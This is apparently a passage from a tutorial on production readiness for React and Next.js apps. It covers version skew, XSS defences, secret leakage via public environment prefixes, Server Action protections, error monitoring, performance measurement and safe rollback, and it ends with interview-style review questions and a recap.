  • Version skew. After a deploy, users still have tabs open running the old JavaScript, which requests chunks and calls endpoints that may no longer exist. Server Action IDs are tied to a build, so an old tab calling a renamed or removed action gets an error. Keep old static assets available for a while, handle chunk-load failures with a reload, and use skew protection. With Next.js's deploymentId config, a client that notices it's talking to a different deployment does a full reload instead of a client-side navigation; routing each client to its own deployment is up to your host or CDN.

Pitfalls#

Check your understanding#

Explain it out loudPreventing XSS in React

An interviewer asks: "React prevents XSS, right? So what do you still have to worry about?"

Explain it out loudReady for production?

"You're the senior engineer on a Next.js app launching next month. What do you check before launch?"

Interview angle

Say it in 30 seconds

Production readiness for a React app comes down to a few mechanisms. Public env prefixes inline values into the client bundle at build time, so only publish what's public. React escapes text and blocks javascript: URLs, but dangerouslySetInnerHTML and direct DOM writes bypass it, so sanitize, add a nonce-based CSP, and in 19.3 Trusted Types. Server Functions are public POST endpoints: validate, authenticate and authorize in each one, and patch framework advisories fast. Report errors from every path (root callbacks, window, onRequestError) with source maps, measure Core Web Vitals on real users, and ship through CI, previews, flags and instant rollback.

React escapes output by default. How can a React app still have an XSS vulnerability?

intermediate

A secret API key turned up in your client JavaScript. What are the ways that happens in a React or Next.js app, and how do you make it structurally hard?

basic

What protects a Next.js Server Action against CSRF, and where does that protection stop?

senior

How would you set up error monitoring for a React 19 app?

intermediate

You want a strict CSP with nonces on a Next.js site. What does it cost?

senior

How do you know whether your React app is fast for real users?

intermediate

A deploy broke checkout. Walk me through rolling back, and what can make rollback fail.

senior

Recap#

  • Public prefixes (NEXT_PUBLIC_, VITE_) inline values into client bundles at build time: they're published to everyone and frozen per build. Everything else stays on the server, unless you pass it down yourself.
  • React escapes text and attributes, and React 19 blocks javascript: URLs. XSS comes through dangerouslySetInnerHTML, direct DOM writes, prop spreading and hand-built scripts. CSP nonces and, since 19.3, Trusted Types limit the damage.
  • Server Functions are public POST endpoints: validate, authenticate, authorize and return minimal data in each one. Next.js adds POST-only, Origin checks and encrypted IDs, which are defense in depth, not authorization. Patch framework vulnerabilities fast.
  • Errors surface in five places: caught, uncaught and recoverable root callbacks, window listeners and the server's onRequestError. Report all of them with a release tag and private source maps.
  • Measure LCP, INP and CLS on real users at the 75th percentile, and enforce bundle budgets in CI.
  • Ship through CI gates and preview deployments, release with feature flags and gradual rollouts, and keep rollback instant with immutable deploys and expand-and-contract migrations.

Sources#